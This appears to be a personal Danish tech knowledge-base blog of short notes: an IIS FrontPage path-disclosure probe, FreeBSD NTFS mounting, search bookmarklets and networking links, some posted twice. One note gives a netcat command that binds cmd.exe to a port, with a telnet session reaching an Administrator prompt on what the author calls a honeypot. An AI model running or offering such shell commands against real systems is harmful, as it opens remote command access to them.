Network Programming in C

An easy guide to network programming in C:

http://tinyurl.com/685d

/secor
Udgivet i Knowledge Base, Networking, Old Base, Programmering | Skriv en kommentar

IIS Vuln.

http://1.0.0.13/_vti_bin/shtml.exe/postinfo1.html

svarer med:
"c:\inetpub\wwwroot\postinfo1.html" kan ikke åbnes: Filen eller mappen findes ikke.
Udgivet i Knowledge Base, Old Base, Windows | Skriv en kommentar

Bind shell in windows

nc -L -d -e cmd.exe -p 8080

Will bind a cmd.exe to port 8080

root@camp:~# telnet 1.0.0.13 8080
Trying 1.0.0.13...
Connected to 1.0.0.13.
Escape character is '^]'.
Microsoft Windows 2000 [version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\>whoami
whoami
HONEYPOT\Administrator


nc and whoami are programs installed by my, and not default windoze aps
Udgivet i Knowledge Base, Networking, Old Base, Windows, Workstation | Skriv en kommentar

NTFS i FreeBSD

Add the following to your kernel:
options         NTFS

Add this to /etc/fstab (ofcourse adjust for your system)
/dev/ad3s1    /mnt/boot ntfs    ro      0       0
/dev/ad3s2    /mnt/data ntfs    ro      0       0


Mount with: mount /mnt/data
Udgivet i FreeBSD, Old Base | Skriv en kommentar

bookmarklets

This only works in IE (sigh). I'm working on a mozilla compatible version...
make a .html file with this content and add the bookmarklets to your bookmarks:

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Find funktion:',''))};if(Q)location.href='http://dk2.php.net/search.php?lang=en&show=quickref&pattern='+escape(Q)">Find PHP funktion</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Søg efter:',''))};if(Q)location.href='http://base.fujang.dk/cgi-bin/index.pl?action=query&query='+escape(Q)">Søg på Fujang knowledge base</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Søg efter:',''))};if(Q)location.href='http://www.google.com/search?hl=da&q='+escape(Q)">Søg på google</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Indtast URL til siden:',''))};if(Q)location.href='http://validator.w3.org/check?uri='+escape(Q)">W3c Valider HTML side</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Indtast servernavn: f.eks. www.domæne.com',''))};if(Q)location.href='http://uptime.netcraft.com/up/graph?port=80&host='+escape(Q)">Slå webserver op i Netcraft</a>
<br />
Udgivet i HTML, Old Base, Programmering, Windows | Skriv en kommentar

Bookmarklets

This only works in IE (sigh). I'm working on a mozilla compatible version...
make a .html file with this content and add the bookmarklets to your bookmarks:

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Find funktion:',''))};if(Q)location.href='http://dk2.php.net/search.php?lang=en&show=quickref&pattern='+escape(Q)">Find PHP funktion</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Søg efter:',''))};if(Q)location.href='http://base.fujang.dk/cgi-bin/index.pl?action=query&query='+escape(Q)">Søg på Fujang knowledge base</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Søg efter:',''))};if(Q)location.href='http://www.google.com/search?hl=da&q='+escape(Q)">Søg på google</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Indtast URL til siden:',''))};if(Q)location.href='http://validator.w3.org/check?uri='+escape(Q)">W3c Valider HTML side</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Indtast servernavn: f.eks. www.domæne.com',''))};if(Q)location.href='http://uptime.netcraft.com/up/graph?port=80&host='+escape(Q)">Slå webserver op i Netcraft</a>
<br />
Udgivet i Knowledge Base | Skriv en kommentar

TCP/IP and tcpdump Guide

Pocket Reference Guide:
http://base.fujang.dk/files/black/tcpip.pdf

Guide to IP Layer Network Administration with Linux:
http://base.fujang.dk/files/black/linux-ip.html

Etheral: 
an alternate packet sniffer

Download:
http://www.ethereal.com/

User guide:
http://www.ethereal.com/docs/user-guide/
Udgivet i Knowledge Base, Links, Linux, Networking, Old Base | Skriv en kommentar

NTFS i FreeBSD

Add the following to your kernel:
options         NTFS

Add this to /etc/fstab (ofcourse adjust for your system)
/dev/ad3s1    /mnt/boot ntfs    ro      0       0
/dev/ad3s2    /mnt/data ntfs    ro      0       0


Mount with: mount /mnt/data
Udgivet i Knowledge Base | Skriv en kommentar

Naming vars(and other shit) with camel notification

VeryLongPassword
for
Very long password
are called camel notification and camel notation.
Udgivet i Knowledge Base | Skriv en kommentar

Naming vars(and other shit) with camel notification

VeryLongPassword
for
Very long password
are called camel notification and camel notation.
Udgivet i Uncategorized | Skriv en kommentar